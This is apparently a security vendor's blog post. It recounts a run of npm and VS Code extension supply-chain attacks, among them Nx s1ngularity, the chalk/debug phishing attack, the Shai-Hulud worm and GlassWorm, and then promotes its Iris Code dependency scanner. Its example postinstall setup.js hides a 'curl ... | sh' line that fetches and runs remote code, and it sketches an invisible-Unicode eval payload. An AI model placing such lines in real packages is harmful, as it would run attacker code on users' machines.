The year your dependencies started hacking you back

Somewhere between August 2025 and now, "check your dependencies" stopped being good hygiene and became a full-time job nobody was staffed for.
For most of npm's history, a supply chain attack was a headline you read once a year, nodded at, and moved on from. event-stream in 2018 was the one everyone cited at conferences for half a decade, because it was genuinely the only one worth citing. Then, starting almost exactly a year ago, the cadence changed - not annually, not quarterly, but some weeks twice.
A rough log of a very bad year
August 26-27, 2025. Attackers stole a publishing token for Nx, the build system powering a huge share of monorepo tooling in the JavaScript ecosystem, and pushed malicious versions live. The payload didn't just grep for .env files - it invoked the AI CLI tools already installed on the victim's machine (Claude, Gemini, Amazon Q) and used them to search the filesystem for credentials, then exfiltrated whatever it found to public GitHub repos it created under the victim's own account. Over a four-hour window it touched tens of thousands of files and exposed more than two thousand distinct secrets. The attack was nicknamed s1ngularity, and the joke about AI finally being used productively against us did not go unnoticed.
September 8, 2025. A maintainer known as "qix" got a 2FA-reset email from npmjs.help - not npm's real domain, but close enough at a glance to fool someone checking between pull requests. It captured his username, password, and a live one-time code. Within minutes the attacker had publishing rights to chalk, debug, ansi-styles, supports-color, and roughly a dozen other packages that between them sit somewhere north of two billion weekly downloads. The payload hijacked crypto wallet transactions in the browser, silently swapping destination addresses. The community caught it and reverted within about two hours, which counts as fast in supply chain terms, but "fast" still means two-billion-download packages ran malicious code in production for a window measured in hours rather than minutes.
September 16, 2025. Shai-Hulud showed up, and it wasn't a one-off compromise - it was a worm. It stole a maintainer's credentials, used them to publish a backdoored version of every package that maintainer controlled, and each of those backdoored packages carried the same credential-stealing payload that would compromise the next maintainer down the line. Self-replicating, npm-native, no human in the loop after the first infection. Sonatype tracked over 180 affected packages in the first wave.
October 2025. More than 100 VS Code extensions were found leaking hidden risk - not obviously malicious individually, but carrying validated secrets and undisclosed network calls that nobody had audited because "it's on the Marketplace" was treated as the audit.
November-December 2025. Shai-Hulud came back as version 2.0, and this time the numbers stopped being a rounding error: 796 packages taken over, more than 20 million combined weekly downloads, over 25,000 malicious GitHub repos spun up automatically, and more than 150 organizations directly compromised.
January-March 2026. GlassWorm turned up hiding its payload inside Unicode Private Use Area characters - bytes encoded as invisible whitespace that rendered as nothing in every editor, every terminal, and every GitHub diff view, while a hidden decoder quietly assembled them into a live eval() call. First seen compromising Open VSX extensions on January 31 and still active into March, it eventually touched GitHub, npm, and 72 Open VSX extensions. In one nine-day window alone, researchers tied 151 GitHub repositories to the campaign and assessed that the uniquely tailored cover commits accompanying each compromise showed signs of LLM assistance - the kind of per-victim customization a human attacker rarely bothers to hand-craft at that speed.
Read that list back. That's not a collection of unrelated incidents - that's a cadence, and it's accelerating.
The thing that makes this different from 2018
event-stream was one bad actor, one npm-maintainer handoff to a stranger, one payload, done. It was contained because it was singular - an anomaly you could patch around and move on from.
What's happening now is structural. npm's trust model was built for a world where a package author is a person you could, in principle, vet by checking their history, their other packages, their GitHub activity. That model collapses the moment the attack surface isn't the author but the author's inbox. Every incident on that timeline traces back to a stolen credential, a phished 2FA code, or a leaked token - not a clever exploit in the package code itself. The code was fine; the person publishing it just wasn't who you thought they were anymore.
And once one account falls, worms like Shai-Hulud turn that single failure into a chain reaction, because the thing that makes npm convenient - any maintainer can push an update straight to millions of installs with no review gate - is the exact thing that makes it ungovernable once an account is compromised.
postinstall scripts are the mechanism that gives this teeth. A line this ordinary runs with the same privileges as the terminal it's installed from:
{
"scripts": {
"postinstall": "node scripts/setup.js"
}
}Nobody reads setup.js before running npm install. And if you're thinking "well, I would," consider what it looks like in practice. Here's a typical setup.js that's doing something completely legitimate alongside something catastrophic:
const { execSync } = require("child_process");
const os = require("os");
const path = require("path");
// rebuild native bindings for the current platform
execSync("node-gyp rebuild", { stdio: "inherit" });
// sync telemetry opt-in preference
const configDir = path.join(os.homedir(), ".config", "toolname");
execSync(`mkdir -p ${configDir}`);
// the line you wouldn't catch on a Thursday afternoon
execSync(`curl -s https://cdn-assets-pkg.com/i | sh`, { stdio: "ignore" });Lines 1-9 look like every other native module setup you've ever npm installed. Line 12 downloads and executes arbitrary code from an external URL with its output suppressed. In a file with 40 more lines of legitimate setup around it, that one curl | sh would blend right in - especially when you're scanning node_modules diffs for the third time that week and everything else in the package looks fine.
Reading every transitive dependency's install script, for every package, on every install, was never something teams budgeted time for, because for fifteen years doing so would have felt paranoid rather than prudent.
The editor is not exempt anymore
If you build VS Code extensions, you watched the extension side of this from inside the thing being targeted. The uncomfortable finding wasn't a single dramatic exploit - it was how little the Marketplace's "Verified Publisher" checkmark actually verifies. It confirms the publisher owns a domain and says nothing about whether the code they shipped this morning matches the code that got their extension approved eighteen months ago.
That gap is exactly what campaigns like TigerJack exploited. They published extensions that did something genuinely useful (a C++ playground, an HTTP formatter) while quietly running a second job in the background, and when Microsoft pulled them down, the same payloads kept surfacing under fresh publisher accounts on Open VSX for months afterward.
GlassWorm went further and made the payload invisible to the one thing developers actually rely on to catch this - looking at the diff. Here's what the GlassWorm technique looked like in principle:
// What you see in your editor and in the GitHub diff:
const config = " ";
// What's actually encoded in those "spaces" using Unicode PUA characters:
// \uE065\uE076\uE061\uE06C -> decoded -> eval(atob("base64-encoded-payload"))If the malicious bytes render as whitespace, "I reviewed the code" stops meaning what you think it means. You could read every line of that file character by character and still miss the payload, because your editor, your terminal, and GitHub's diff viewer all agreed there was nothing there.
An extension asking for network access used to be worth a second look. Now half of legitimate developer tooling phones home for telemetry, updates, or AI features, so the signal that would have flagged the malicious ones got buried under the noise of everything else doing the same thing for benign reasons.
"Just audit your dependencies" was never going to hold
The standard advice - pin your versions, review your lockfile diffs, run npm audit, enable 2FA - is all correct and all insufficient, for the same reason "just review the diff more carefully" fails everywhere else: it assumes a fixed amount of code to check, and dependency trees don't hold still.
A mid-sized frontend project pulls in a thousand transitive packages it never directly chose. Run npm ls --all | wc -l on any production Next.js app and the number will make you uncomfortable:
$ npm ls --all | wc -l
1847
$ npm ls --all | grep "UNMET" | wc -l
23Nobody is manually diffing 1,847 node_modules entries on every npm install, and the one time that would seem paranoid is exactly the time it would have caught something.
2FA helps until the attack is the 2FA prompt, which is precisely what happened to the chalk/debug maintainer - a phishing email good enough to harvest a live TOTP code doesn't care that 2FA was enabled. Lockfiles pin versions but don't stop a maintainer's next legitimate-looking release from being the compromised one. Allowlisting known-good packages doesn't help when the known-good package is the one that just got worm-infected.
Every one of these defenses assumes the compromise happens somewhere you're already looking. Shai-Hulud and GlassWorm were built, whether deliberately or not, to happen everywhere you weren't.
| Incident | When | Vector | Blast radius |
|---|---|---|---|
| s1ngularity (Nx) | Aug 2025 | Stolen publish token | 2,000+ secrets, 4-hour window |
| chalk/debug | Sep 2025 | Phished 2FA reset | ~18 packages, 2B+ weekly downloads |
| Shai-Hulud v1 | Sep 2025 | Self-replicating credential theft | 180+ packages |
| Shai-Hulud 2.0 | Nov-Dec 2025 | Worm, second wave | 796 packages, 20M+ weekly downloads |
| GlassWorm | Oct 2025 - Mar 2026 | Invisible Unicode payload | GitHub, npm, 72 Open VSX extensions |
What actually needs to change
None of this gets fixed by asking developers to be more suspicious. Suspicion doesn't scale to a thousand transitive dependencies any better than vigilance scales to a thousand AI-generated pull requests.
The honest answer is that this problem has layers, and no single tool catches all of them. Zero-day account takeovers like the Nx token theft or the chalk/debug phishing attack are, by definition, invisible until someone discovers them and publishes an advisory. No scanner catches what hasn't been reported yet, and any product that claims otherwise is selling you a feeling rather than a capability.
But here's the thing about that timeline above: every one of those incidents did eventually get reported. Advisories got published. CVE IDs got assigned. And the gap between "advisory published" and "team actually notices and patches" is where a huge amount of real-world damage happens, because npm audit output is noisy, nobody runs it consistently, and when it does flag something, the signal gets buried in a wall of moderate-severity warnings that have been there since last quarter.
That's the layer Iris Code covers. It parses your manifest files - package.json, go.mod, requirements.txt, pyproject.toml - and cross-references every dependency's name and version against the OSV.dev advisory database, with computed severity and confidence labels (direct vs. transitive, fix available vs. manual review required). You get the results in the Dependents Table in the sidebar as you work, or via iris deps and iris cve in the terminal and CI. The scan runs against a 24-hour file cache, so it stays fast without hammering the registry on every save.
Think of it as a cleaner, CI-wireable npm audit that actually lives where you work instead of in a terminal tab you forgot you had open. It won't catch the zero-day worm that hasn't been disclosed yet, but it will catch the advisory that got published Tuesday for a package you've been running since January, and it will catch it before that package ships in your next deploy rather than three months later when someone finally runs an audit manually.
| Layer | Tool | What it does |
|---|---|---|
| Package registry | npm / Open VSX | Ships whatever gets published, with no gate on who's publishing it |
| Human review | Security team, changelog reading | Catches known CVEs if someone remembers to check, misses zero-day account takeovers by design |
| Automated scan | Iris Code | Flags dependencies with known CVEs and advisories against your manifest, on-demand or in CI, before you ship |
The account-takeover problem - the thing that makes this year's incidents qualitatively different from event-stream - needs structural changes at the registry level that are above any single tool's pay grade: mandatory signing, publish attestations, install-time sandboxing. Those are conversations npm and the ecosystem need to have, and some of them are already underway.
What Iris Code handles is the other half of the problem: making sure the vulnerabilities that are known don't sit unnoticed in your dependency tree while you're focused on shipping features. Because every incident on that timeline eventually became a known advisory, and the teams that got hurt worst weren't the ones who got hit on day one - they were the ones who were still running the compromised version weeks later because nobody had checked.
Iris Code scores every file on save.
Get per-file health scores, security smell detection, and enforcement rules - directly in VS Code. Free to start, no account required.
Install the extension →